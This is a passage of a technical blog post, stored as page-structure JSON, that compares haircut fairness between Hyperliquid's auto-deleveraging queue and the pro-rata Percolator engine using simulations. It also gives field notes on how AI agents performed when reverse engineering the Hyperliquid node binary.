recovered.",{"type":22,"tag":6832,"props":167721,"children":167722},{},[167723,167727,167728,167851,167852,168069,168071,168175,168177,168228,168230,168282],{"type":22,"tag":6961,"props":167724,"children":167725},{},[167726],{"type":27,"value":164376},{"type":27,"value":36907},{"type":22,"tag":30,"props":167729,"children":167731},{"className":167730},[8026,8027],[167732],{"type":22,"tag":101,"props":167733,"children":167735},{"className":167734},[8032],[167736],{"type":22,"tag":101,"props":167737,"children":167739},{"className":167738,"ariaHidden":5608},[8037],[167740,167766],{"type":22,"tag":101,"props":167741,"children":167743},{"className":167742},[8042],[167744,167748,167753,167757,167762],{"type":22,"tag":101,"props":167745,"children":167747},{"className":167746,"style":167273},[8047],[],{"type":22,"tag":101,"props":167749,"children":167751},{"className":167750},[8053],[167752],{"type":27,"value":6813},{"type":22,"tag":101,"props":167754,"children":167756},{"className":167755,"style":8134},[8133],[],{"type":22,"tag":101,"props":167758,"children":167760},{"className":167759},[8139],[167761],{"type":27,"value":8113},{"type":22,"tag":101,"props":167763,"children":167765},{"className":167764,"style":8134},[8133],[],{"type":22,"tag":101,"props":167767,"children":167769},{"className":167768},[8042],[167770,167774,167784,167789,167846],{"type":22,"tag":101,"props":167771,"children":167773},{"className":167772,"style":8154},[8047],[],{"type":22,"tag":101,"props":167775,"children":167777},{"className":167776},[8053,27],[167778],{"type":22,"tag":101,"props":167779,"children":167781},{"className":167780},[8053],[167782],{"type":27,"value":167783},"Gini",{"type":22,"tag":101,"props":167785,"children":167787},{"className":167786},[25704],[167788],{"type":27,"value":980},{"type":22,"tag":101,"props":167790,"children":167792},{"className":167791},[8053],[167793,167798],{"type":22,"tag":101,"props":167794,"children":167796},{"className":167795},[8053,25575],[167797],{"type":27,"value":87852},{"type":22,"tag":101,"props":167799,"children":167801},{"className":167800},[8069],[167802],{"type":22,"tag":101,"props":167803,"children":167805},{"className":167804},[8074,25629],[167806,167835],{"type":22,"tag":101,"props":167807,"children":167809},{"className":167808},[8079],[167810,167830],{"type":22,"tag":101,"props":167811,"children":167813},{"className":167812,"style":97083},[8084],[167814],{"type":22,"tag":101,"props":167815,"children":167816},{"style":96610},[167817,167821],{"type":22,"tag":101,"props":167818,"children":167820},{"className":167819,"style":8094},[8093],[],{"type":22,"tag":101,"props":167822,"children":167824},{"className":167823},[8099,8100,8101,8102],[167825],{"type":22,"tag":101,"props":167826,"children":167828},{"className":167827},[8053,25575,8102],[167829],{"type":27,"value":7774},{"type":22,"tag":101,"props":167831,"children":167833},{"className":167832},[25732],[167834],{"type":27,"value":25735},{"type":22,"tag":101,"props":167836,"children":167838},{"className":167837},[8079],[167839],{"type":22,"tag":101,"props":167840,"children":167842},{"className":167841,"style":96637},[8084],[167843],{"type":22,"tag":101,"props":167844,"children":167845},{},[],{"type":22,"tag":101,"props":167847,"children":167849},{"className":167848},[25726],[167850],{"type":27,"value":2261},{"type":27,"value":11336},{"type":22,"tag":30,"props":167853,"children":167855},{"className":167854},[8026,8027],[167856],{"type":22,"tag":101,"props":167857,"children":167859},{"className":167858},[8032],[167860],{"type":22,"tag":101,"props":167861,"children":167863},{"className":167862,"ariaHidden":5608},[8037],[167864,167942],{"type":22,"tag":101,"props":167865,"children":167867},{"className":167866},[8042],[167868,167872,167929,167933,167938],{"type":22,"tag":101,"props":167869,"children":167871},{"className":167870,"style":145833},[8047],[],{"type":22,"tag":101,"props":167873,"children":167875},{"className":167874},[8053],[167876,167881],{"type":22,"tag":101,"props":167877,"children":167879},{"className":167878},[8053,25575],[167880],{"type":27,"value":87852},{"type":22,"tag":101,"props":167882,"children":167884},{"className":167883},[8069],[167885],{"type":22,"tag":101,"props":167886,"children":167888},{"className":167887},[8074,25629],[167889,167918],{"type":22,"tag":101,"props":167890,"children":167892},{"className":167891},[8079],[167893,167913],{"type":22,"tag":101,"props":167894,"children":167896},{"className":167895,"style":97083},[8084],[167897],{"type":22,"tag":101,"props":167898,"children":167899},{"style":96610},[167900,167904],{"type":22,"tag":101,"props":167901,"children":167903},{"className":167902,"style":8094},[8093],[],{"type":22,"tag":101,"props":167905,"children":167907},{"className":167906},[8099,8100,8101,8102],[167908],{"type":22,"tag":101,"props":167909,"children":167911},{"className":167910},[8053,25575,8102],[167912],{"type":27,"value":7774},{"type":22,"tag":101,"props":167914,"children":167916},{"className":167915},[25732],[167917],{"type":27,"value":25735},{"type":22,"tag":101,"props":167919,"children":167921},{"className":167920},[8079],[167922],{"type":22,"tag":101,"props":167923,"children":167925},{"className":167924,"style":96637},[8084],[167926],{"type":22,"tag":101,"props":167927,"children":167928},{},[],{"type":22,"tag":101,"props":167930,"children":167932},{"className":167931,"style":8231},[8133],[],{"type":22,"tag":101,"props":167934,"children":167936},{"className":167935},[8236],[167937],{"type":27,"value":1511},{"type":22,"tag":101,"props":167939,"children":167941},{"className":167940,"style":8231},[8133],[],{"type":22,"tag":101,"props":167943,"children":167945},{"className":167944},[8042],[167946,167950,168007,168012],{"type":22,"tag":101,"props":167947,"children":167949},{"className":167948,"style":8154},[8047],[],{"type":22,"tag":101,"props":167951,"children":167953},{"className":167952},[8053],[167954,167959],{"type":22,"tag":101,"props":167955,"children":167957},{"className":167956},[8053,25575],[167958],{"type":27,"value":23266},{"type":22,"tag":101,"props":167960,"children":167962},{"className":167961},[8069],[167963],{"type":22,"tag":101,"props":167964,"children":167966},{"className":167965},[8074,25629],[167967,167996],{"type":22,"tag":101,"props":167968,"children":167970},{"className":167969},[8079],[167971,167991],{"type":22,"tag":101,"props":167972,"children":167974},{"className":167973,"style":97083},[8084],[167975],{"type":22,"tag":101,"props":167976,"children":167977},{"style":96610},[167978,167982],{"type":22,"tag":101,"props":167979,"children":167981},{"className":167980,"style":8094},[8093],[],{"type":22,"tag":101,"props":167983,"children":167985},{"className":167984},[8099,8100,8101,8102],[167986],{"type":22,"tag":101,"props":167987,"children":167989},{"className":167988},[8053,25575,8102],[167990],{"type":27,"value":7774},{"type":22,"tag":101,"props":167992,"children":167994},{"className":167993},[25732],[167995],{"type":27,"value":25735},{"type":22,"tag":101,"props":167997,"children":167999},{"className":167998},[8079],[168000],{"type":22,"tag":101,"props":168001,"children":168003},{"className":168002,"style":96637},[8084],[168004],{"type":22,"tag":101,"props":168005,"children":168006},{},[],{"type":22,"tag":101,"props":168008,"children":168010},{"className":168009},[8053],[168011],{"type":27,"value":8625},{"type":22,"tag":101,"props":168013,"children":168015},{"className":168014},[8053],[168016,168021],{"type":22,"tag":101,"props":168017,"children":168019},{"className":168018,"style":125834},[8053,25575],[168020],{"type":27,"value":53568},{"type":22,"tag":101,"props":168022,"children":168024},{"className":168023},[8069],[168025],{"type":22,"tag":101,"props":168026,"children":168028},{"className":168027},[8074,25629],[168029,168058],{"type":22,"tag":101,"props":168030,"children":168032},{"className":168031},[8079],[168033,168053],{"type":22,"tag":101,"props":168034,"children":168036},{"className":168035,"style":97083},[8084],[168037],{"type":22,"tag":101,"props":168038,"children":168039},{"style":164782},[168040,168044],{"type":22,"tag":101,"props":168041,"children":168043},{"className":168042,"style":8094},[8093],[],{"type":22,"tag":101,"props":168045,"children":168047},{"className":168046},[8099,8100,8101,8102],[168048],{"type":22,"tag":101,"props":168049,"children":168051},{"className":168050},[8053,25575,8102],[168052],{"type":27,"value":7774},{"type":22,"tag":101,"props":168054,"children":168056},{"className":168055},[25732],[168057],{"type":27,"value":25735},{"type":22,"tag":101,"props":168059,"children":168061},{"className":168060},[8079],[168062],{"type":22,"tag":101,"props":168063,"children":168065},{"className":168064,"style":96637},[8084],[168066],{"type":22,"tag":101,"props":168067,"children":168068},{},[],{"type":27,"value":168070}," for each winner with ",{"type":22,"tag":30,"props":168072,"children":168074},{"className":168073},[8026,8027],[168075],{"type":22,"tag":101,"props":168076,"children":168078},{"className":168077},[8032],[168079],{"type":22,"tag":101,"props":168080,"children":168082},{"className":168081,"ariaHidden":5608},[8037],[168083,168162],{"type":22,"tag":101,"props":168084,"children":168086},{"className":168085},[8042],[168087,168092,168149,168153,168158],{"type":22,"tag":101,"props":168088,"children":168091},{"className":168089,"style":168090},[8047],"height:0.6891em;vertical-align:-0.15em;",[],{"type":22,"tag":101,"props":168093,"children":168095},{"className":168094},[8053],[168096,168101],{"type":22,"tag":101,"props":168097,"children":168099},{"className":168098,"style":125834},[8053,25575],[168100],{"type":27,"value":53568},{"type":22,"tag":101,"props":168102,"children":168104},{"className":168103},[8069],[168105],{"type":22,"tag":101,"props":168106,"children":168108},{"className":168107},[8074,25629],[168109,168138],{"type":22,"tag":101,"props":168110,"children":168112},{"className":168111},[8079],[168113,168133],{"type":22,"tag":101,"props":168114,"children":168116},{"className":168115,"style":97083},[8084],[168117],{"type":22,"tag":101,"props":168118,"children":168119},{"style":164782},[168120,168124],{"type":22,"tag":101,"props":168121,"children":168123},{"className":168122,"style":8094},[8093],[],{"type":22,"tag":101,"props":168125,"children":168127},{"className":168126},[8099,8100,8101,8102],[168128],{"type":22,"tag":101,"props":168129,"children":168131},{"className":168130},[8053,25575,8102],[168132],{"type":27,"value":7774},{"type":22,"tag":101,"props":168134,"children":168136},{"className":168135},[25732],[168137],{"type":27,"value":25735},{"type":22,"tag":101,"props":168139,"children":168141},{"className":168140},[8079],[168142],{"type":22,"tag":101,"props":168143,"children":168145},{"className":168144,"style":96637},[8084],[168146],{"type":22,"tag":101,"props":168147,"children":168148},{},[],{"type":22,"tag":101,"props":168150,"children":168152},{"className":168151,"style":8231},[8133],[],{"type":22,"tag":101,"props":168154,"children":168156},{"className":168155},[8236],[168157],{"type":27,"value":14467},{"type":22,"tag":101,"props":168159,"children":168161},{"className":168160,"style":8231},[8133],[],{"type":22,"tag":101,"props":168163,"children":168165},{"className":168164},[8042],[168166,168170],{"type":22,"tag":101,"props":168167,"children":168169},{"className":168168,"style":97585},[8047],[],{"type":22,"tag":101,"props":168171,"children":168173},{"className":168172},[8053],[168174],{"type":27,"value":8065},{"type":27,"value":168176}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":22,"tag":30,"props":168178,"children":168180},{"className":168179},[8026,8027],[168181],{"type":22,"tag":101,"props":168182,"children":168184},{"className":168183},[8032],[168185],{"type":22,"tag":101,"props":168186,"children":168188},{"className":168187,"ariaHidden":5608},[8037],[168189,168215],{"type":22,"tag":101,"props":168190,"children":168192},{"className":168191},[8042],[168193,168197,168202,168206,168211],{"type":22,"tag":101,"props":168194,"children":168196},{"className":168195,"style":25570},[8047],[],{"type":22,"tag":101,"props":168198,"children":168200},{"className":168199,"style":25576},[8053,25575],[168201],{"type":27,"value":125332},{"type":22,"tag":101,"props":168203,"children":168205},{"className":168204,"style":8231},[8133],[],{"type":22,"tag":101,"props":168207,"children":168209},{"className":168208},[8236],[168210],{"type":27,"value":1511},{"type":22,"tag":101,"props":168212,"children":168214},{"className":168213,"style":8231},[8133],[],{"type":22,"tag":101,"props":168216,"children":168218},{"className":168217},[8042],[168219,168223],{"type":22,"tag":101,"props":168220,"children":168222},{"className":168221,"style":97585},[8047],[],{"type":22,"tag":101,"props":168224,"children":168226},{"className":168225},[8053],[168227],{"type":27,"value":6813},{"type":27,"value":168229}," means everyone loses the same fraction of their PNL. ",{"type":22,"tag":30,"props":168231,"children":168233},{"className":168232},[8026,8027],[168234],{"type":22,"tag":101,"props":168235,"children":168237},{"className":168236},[8032],[168238],{"type":22,"tag":101,"props":168239,"children":168241},{"className":168240,"ariaHidden":5608},[8037],[168242,168269],{"type":22,"tag":101,"props":168243,"children":168245},{"className":168244},[8042],[168246,168250,168255,168259,168265],{"type":22,"tag":101,"props":168247,"children":168249},{"className":168248,"style":25570},[8047],[],{"type":22,"tag":101,"props":168251,"children":168253},{"className":168252,"style":25576},[8053,25575],[168254],{"type":27,"value":125332},{"type":22,"tag":101,"props":168256,"children":168258},{"className":168257,"style":8231},[8133],[],{"type":22,"tag":101,"props":168260,"children":168262},{"className":168261},[8236],[168263],{"type":27,"value":168264},"≈",{"type":22,"tag":101,"props":168266,"children":168268},{"className":168267,"style":8231},[8133],[],{"type":22,"tag":101,"props":168270,"children":168272},{"className":168271},[8042],[168273,168277],{"type":22,"tag":101,"props":168274,"children":168276},{"className":168275,"style":97585},[8047],[],{"type":22,"tag":101,"props":168278,"children":168280},{"className":168279},[8053],[168281],{"type":27,"value":8065},{"type":27,"value":168283}," means a few get wiped while most are untouched.",{"type":22,"tag":6832,"props":168285,"children":168286},{},[168287,168291,168292,168450,168452,168546,168548],{"type":22,"tag":6961,"props":168288,"children":168289},{},[168290],{"type":27,"value":164386},{"type":27,"value":36907},{"type":22,"tag":30,"props":168293,"children":168295},{"className":168294},[8026,8027],[168296],{"type":22,"tag":101,"props":168297,"children":168299},{"className":168298},[8032],[168300],{"type":22,"tag":101,"props":168301,"children":168303},{"className":168302,"ariaHidden":5608},[8037],[168304],{"type":22,"tag":101,"props":168305,"children":168307},{"className":168306},[8042],[168308,168313,168388,168393],{"type":22,"tag":101,"props":168309,"children":168312},{"className":168310,"style":168311},[8047],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":22,"tag":101,"props":168314,"children":168316},{"className":168315},[8053],[168317,168322],{"type":22,"tag":101,"props":168318,"children":168320},{"className":168319,"style":98562},[8053,25575],[168321],{"type":27,"value":165111},{"type":22,"tag":101,"props":168323,"children":168325},{"className":168324},[8069],[168326],{"type":22,"tag":101,"props":168327,"children":168329},{"className":168328},[8074,25629],[168330,168376],{"type":22,"tag":101,"props":168331,"children":168333},{"className":168332},[8079],[168334,168371],{"type":22,"tag":101,"props":168335,"children":168337},{"className":168336,"style":112271},[8084],[168338,168355],{"type":22,"tag":101,"props":168339,"children":168341},{"style":168340},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[168342,168346],{"type":22,"tag":101,"props":168343,"children":168345},{"className":168344,"style":8094},[8093],[],{"type":22,"tag":101,"props":168347,"children":168349},{"className":168348},[8099,8100,8101,8102],[168350],{"type":22,"tag":101,"props":168351,"children":168353},{"className":168352,"style":25576},[8053,25575,8102],[168354],{"type":27,"value":840},{"type":22,"tag":101,"props":168356,"children":168357},{"style":8088},[168358,168362],{"type":22,"tag":101,"props":168359,"children":168361},{"className":168360,"style":8094},[8093],[],{"type":22,"tag":101,"props":168363,"children":168365},{"className":168364},[8099,8100,8101,8102],[168366],{"type":22,"tag":101,"props":168367,"children":168369},{"className":168368,"style":97040},[8053,25575,8102],[168370],{"type":27,"value":164625},{"type":22,"tag":101,"props":168372,"children":168374},{"className":168373},[25732],[168375],{"type":27,"value":25735},{"type":22,"tag":101,"props":168377,"children":168379},{"className":168378},[8079],[168380],{"type":22,"tag":101,"props":168381,"children":168384},{"className":168382,"style":168383},[8084],"height:0.2753em;",[168385],{"type":22,"tag":101,"props":168386,"children":168387},{},[],{"type":22,"tag":101,"props":168389,"children":168391},{"className":168390},[8053],[168392],{"type":27,"value":8625},{"type":22,"tag":101,"props":168394,"children":168396},{"className":168395},[8053],[168397,168402],{"type":22,"tag":101,"props":168398,"children":168400},{"className":168399,"style":98562},[8053,25575],[168401],{"type":27,"value":165111},{"type":22,"tag":101,"props":168403,"children":168405},{"className":168404},[8069],[168406],{"type":22,"tag":101,"props":168407,"children":168409},{"className":168408},[8074,25629],[168410,168439],{"type":22,"tag":101,"props":168411,"children":168413},{"className":168412},[8079],[168414,168434],{"type":22,"tag":101,"props":168415,"children":168417},{"className":168416,"style":146109},[8084],[168418],{"type":22,"tag":101,"props":168419,"children":168420},{"style":165130},[168421,168425],{"type":22,"tag":101,"props":168422,"children":168424},{"className":168423,"style":8094},[8093],[],{"type":22,"tag":101,"props":168426,"children":168428},{"className":168427},[8099,8100,8101,8102],[168429],{"type":22,"tag":101,"props":168430,"children":168432},{"className":168431,"style":25576},[8053,25575,8102],[168433],{"type":27,"value":840},{"type":22,"tag":101,"props":168435,"children":168437},{"className":168436},[25732],[168438],{"type":27,"value":25735},{"type":22,"tag":101,"props":168440,"children":168442},{"className":168441},[8079],[168443],{"type":22,"tag":101,"props":168444,"children":168446},{"className":168445,"style":96637},[8084],[168447],{"type":22,"tag":101,"props":168448,"children":168449},{},[],{"type":27,"value":168451}," — ",{"type":22,"tag":30,"props":168453,"children":168455},{"className":168454},[8026,8027],[168456],{"type":22,"tag":101,"props":168457,"children":168459},{"className":168458},[8032],[168460],{"type":22,"tag":101,"props":168461,"children":168463},{"className":168462,"ariaHidden":5608},[8037],[168464],{"type":22,"tag":101,"props":168465,"children":168467},{"className":168466},[8042],[168468,168473],{"type":22,"tag":101,"props":168469,"children":168472},{"className":168470,"style":168471},[8047],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":22,"tag":101,"props":168474,"children":168476},{"className":168475},[8053],[168477,168482],{"type":22,"tag":101,"props":168478,"children":168480},{"className":168479,"style":98562},[8053,25575],[168481],{"type":27,"value":165111},{"type":22,"tag":101,"props":168483,"children":168485},{"className":168484},[8069],[168486],{"type":22,"tag":101,"props":168487,"children":168489},{"className":168488},[8074,25629],[168490,168535],{"type":22,"tag":101,"props":168491,"children":168493},{"className":168492},[8079],[168494,168530],{"type":22,"tag":101,"props":168495,"children":168497},{"className":168496,"style":112271},[8084],[168498,168514],{"type":22,"tag":101,"props":168499,"children":168500},{"style":168340},[168501,168505],{"type":22,"tag":101,"props":168502,"children":168504},{"className":168503,"style":8094},[8093],[],{"type":22,"tag":101,"props":168506,"children":168508},{"className":168507},[8099,8100,8101,8102],[168509],{"type":22,"tag":101,"props":168510,"children":168512},{"className":168511,"style":25576},[8053,25575,8102],[168513],{"type":27,"value":840},{"type":22,"tag":101,"props":168515,"children":168516},{"style":8088},[168517,168521],{"type":22,"tag":101,"props":168518,"children":168520},{"className":168519,"style":8094},[8093],[],{"type":22,"tag":101,"props":168522,"children":168524},{"className":168523},[8099,8100,8101,8102],[168525],{"type":22,"tag":101,"props":168526,"children":168528},{"className":168527,"style":97040},[8053,25575,8102],[168529],{"type":27,"value":164625},{"type":22,"tag":101,"props":168531,"children":168533},{"className":168532},[25732],[168534],{"type":27,"value":25735},{"type":22,"tag":101,"props":168536,"children":168538},{"className":168537},[8079],[168539],{"type":22,"tag":101,"props":168540,"children":168542},{"className":168541,"style":168383},[8084],[168543],{"type":22,"tag":101,"props":168544,"children":168545},{},[],{"type":27,"value":168547}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":22,"tag":30,"props":168549,"children":168551},{"className":168550},[8026,8027],[168552],{"type":22,"tag":101,"props":168553,"children":168555},{"className":168554},[8032],[168556],{"type":22,"tag":101,"props":168557,"children":168559},{"className":168558,"ariaHidden":5608},[8037],[168560],{"type":22,"tag":101,"props":168561,"children":168563},{"className":168562},[8042],[168564,168568],{"type":22,"tag":101,"props":168565,"children":168567},{"className":168566,"style":114395},[8047],[],{"type":22,"tag":101,"props":168569,"children":168571},{"className":168570,"style":97040},[8053,25575],[168572],{"type":27,"value":164625},{"type":22,"tag":23,"props":168574,"children":168575},{},[168576],{"type":27,"value":168577},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":22,"tag":168579,"props":168580,"children":168582},"git-hub-repo-link",{"url":168581},"https://github.com/aeyakovenko/percolator",[],{"type":22,"tag":23,"props":168584,"children":168585},{},[168586,168588,168593],{"type":27,"value":168587},"Given a fixed ",{"type":22,"tag":6961,"props":168589,"children":168590},{},[168591],{"type":27,"value":168592},"a priori",{"type":27,"value":168594}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":22,"tag":23,"props":168596,"children":168597},{},[168598,168600,168605,168607,168684],{"type":27,"value":168599},"One prediction that we can make is that Percolator is ",{"type":22,"tag":6961,"props":168601,"children":168602},{},[168603],{"type":27,"value":168604},"perfectly fair",{"type":27,"value":168606}," according to this scoring: the ",{"type":22,"tag":30,"props":168608,"children":168610},{"className":168609},[8026,8027],[168611],{"type":22,"tag":101,"props":168612,"children":168614},{"className":168613},[8032],[168615],{"type":22,"tag":101,"props":168616,"children":168618},{"className":168617,"ariaHidden":5608},[8037],[168619],{"type":22,"tag":101,"props":168620,"children":168622},{"className":168621},[8042],[168623,168627],{"type":22,"tag":101,"props":168624,"children":168626},{"className":168625,"style":145833},[8047],[],{"type":22,"tag":101,"props":168628,"children":168630},{"className":168629},[8053],[168631,168636],{"type":22,"tag":101,"props":168632,"children":168634},{"className":168633},[8053,25575],[168635],{"type":27,"value":87852},{"type":22,"tag":101,"props":168637,"children":168639},{"className":168638},[8069],[168640],{"type":22,"tag":101,"props":168641,"children":168643},{"className":168642},[8074,25629],[168644,168673],{"type":22,"tag":101,"props":168645,"children":168647},{"className":168646},[8079],[168648,168668],{"type":22,"tag":101,"props":168649,"children":168651},{"className":168650,"style":97083},[8084],[168652],{"type":22,"tag":101,"props":168653,"children":168654},{"style":96610},[168655,168659],{"type":22,"tag":101,"props":168656,"children":168658},{"className":168657,"style":8094},[8093],[],{"type":22,"tag":101,"props":168660,"children":168662},{"className":168661},[8099,8100,8101,8102],[168663],{"type":22,"tag":101,"props":168664,"children":168666},{"className":168665},[8053,25575,8102],[168667],{"type":27,"value":7774},{"type":22,"tag":101,"props":168669,"children":168671},{"className":168670},[25732],[168672],{"type":27,"value":25735},{"type":22,"tag":101,"props":168674,"children":168676},{"className":168675},[8079],[168677],{"type":22,"tag":101,"props":168678,"children":168680},{"className":168679,"style":96637},[8084],[168681],{"type":22,"tag":101,"props":168682,"children":168683},{},[],{"type":27,"value":168685}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":22,"tag":23,"props":168687,"children":168688},{},[168689,168691,168696],{"type":27,"value":168690},"We are ignoring the ",{"type":22,"tag":6961,"props":168692,"children":168693},{},[168694],{"type":27,"value":168695},"a posteriori",{"type":27,"value":168697}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":22,"tag":23,"props":168699,"children":168700},{},[168701],{"type":27,"value":168702},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":22,"tag":53,"props":168704,"children":168706},{"id":168705},"simulations",[168707],{"type":27,"value":168708},"Simulations",{"type":22,"tag":23,"props":168710,"children":168711},{},[168712],{"type":27,"value":168713},"Let's consider the following price scenarios, as we said:",{"type":22,"tag":23,"props":168715,"children":168716},{},[168717],{"type":22,"tag":7959,"props":168718,"children":168721},{"alt":168719,"src":168720},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":22,"tag":23,"props":168723,"children":168724},{},[168725],{"type":27,"value":168726},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":22,"tag":23,"props":168728,"children":168729},{},[168730],{"type":22,"tag":7959,"props":168731,"children":168734},{"alt":168732,"src":168733},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":22,"tag":1760,"props":168736,"children":168738},{"id":168737},"percolator-is-more-optimistic",[168739],{"type":27,"value":168740},"Percolator Is More \"Optimistic\"",{"type":22,"tag":23,"props":168742,"children":168743},{},[168744,168746,168751,168753,168758,168760,168766,168768,168773],{"type":27,"value":168745},"The key difference is what happens to positions. ADL ",{"type":22,"tag":6961,"props":168747,"children":168748},{},[168749],{"type":27,"value":168750},"permanently closes",{"type":27,"value":168752}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":22,"tag":6961,"props":168754,"children":168755},{},[168756],{"type":27,"value":168757},"withdraw",{"type":27,"value":168759},", but the position stays open. If conditions improve, ",{"type":22,"tag":30,"props":168761,"children":168763},{"className":168762},[],[168764],{"type":27,"value":168765},"Residual",{"type":27,"value":168767}," goes up, ",{"type":22,"tag":30,"props":168769,"children":168771},{"className":168770},[],[168772],{"type":27,"value":87852},{"type":27,"value":168774}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":22,"tag":23,"props":168776,"children":168777},{},[168778,168780,168784],{"type":27,"value":168779},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":22,"tag":6961,"props":168781,"children":168782},{},[168783],{"type":27,"value":24178},{"type":27,"value":168785}," per position, though the tradeoff is that fewer traders get to participate.",{"type":22,"tag":23,"props":168787,"children":168788},{},[168789],{"type":22,"tag":7959,"props":168790,"children":168793},{"alt":168791,"src":168792},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":22,"tag":53,"props":168795,"children":168797},{"id":168796},"some-points-to-be-made",[168798],{"type":27,"value":168799},"Some Points to Be Made",{"type":22,"tag":1760,"props":168801,"children":168803},{"id":168802},"percolator-is-indifferent-to-leverage",[168804],{"type":27,"value":168805},"Percolator Is Indifferent to Leverage",{"type":22,"tag":23,"props":168807,"children":168808},{},[168809],{"type":27,"value":168810},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":22,"tag":23,"props":168812,"children":168813},{},[168814],{"type":22,"tag":7959,"props":168815,"children":168818},{"alt":168816,"src":168817},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":22,"tag":1760,"props":168820,"children":168822},{"id":168821},"fairness",[168823],{"type":27,"value":164376},{"type":22,"tag":23,"props":168825,"children":168826},{},[168827],{"type":27,"value":168828},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":22,"tag":23,"props":168830,"children":168831},{},[168832],{"type":22,"tag":7959,"props":168833,"children":168836},{"alt":168834,"src":168835},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":22,"tag":23,"props":168838,"children":168839},{},[168840,168842,168847],{"type":27,"value":168841},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":22,"tag":30,"props":168843,"children":168845},{"className":168844},[],[168846],{"type":27,"value":162878},{"type":27,"value":168848}," we start by fully closing the worst position against the best-performing trader.",{"type":22,"tag":53,"props":168850,"children":168852},{"id":168851},"strengths-and-limitations-of-agents-for-reverse-engineering",[168853],{"type":27,"value":168854},"Strengths and Limitations of Agents for Reverse Engineering",{"type":22,"tag":23,"props":168856,"children":168857},{},[168858],{"type":27,"value":168859},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":22,"tag":1760,"props":168861,"children":168863},{"id":168862},"hooks",[168864],{"type":27,"value":168865},"Hooks",{"type":22,"tag":23,"props":168867,"children":168868},{},[168869,168871,168875],{"type":27,"value":168870},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":22,"tag":6961,"props":168872,"children":168873},{},[168874],{"type":27,"value":168862},{"type":27,"value":168876},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":22,"tag":23,"props":168878,"children":168879},{},[168880],{"type":27,"value":168881},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":22,"tag":1760,"props":168883,"children":168885},{"id":168884},"scale",[168886],{"type":27,"value":168887},"Scale",{"type":22,"tag":23,"props":168889,"children":168890},{},[168891],{"type":27,"value":168892},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":22,"tag":23,"props":168894,"children":168895},{},[168896],{"type":27,"value":168897},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":22,"tag":1760,"props":168899,"children":168901},{"id":168900},"whats-next",[168902],{"type":27,"value":168903},"What's next?",{"type":22,"tag":23,"props":168905,"children":168906},{},[168907],{"type":27,"value":168908},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":22,"tag":168579,"props":168910,"children":168911},{"url":162539},[],{"type":22,"tag":23,"props":168913,"children":168914},{},[168915],{"type":27,"value":168916},"The analyzed binary can be found here:",{"type":22,"tag":162859,"props":168918,"children":168921},{"path":168919,"name":162463,"size":168920},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":22,"tag":1760,"props":168923,"children":168925},{"id":168924},"closing-words",[168926],{"type":27,"value":168927},"Closing Words",{"type":22,"tag":23,"props":168929,"children":168930},{},[168931],{"type":27,"value":168932},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":22,"tag":23,"props":168934,"children":168935},{},[168936,168938,168943],{"type":27,"value":168937},"Flagship models got us 60% of the way there, but a lot of ",{"type":22,"tag":6961,"props":168939,"children":168940},{},[168941],{"type":27,"value":168942},"manual",{"type":27,"value":168944}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the 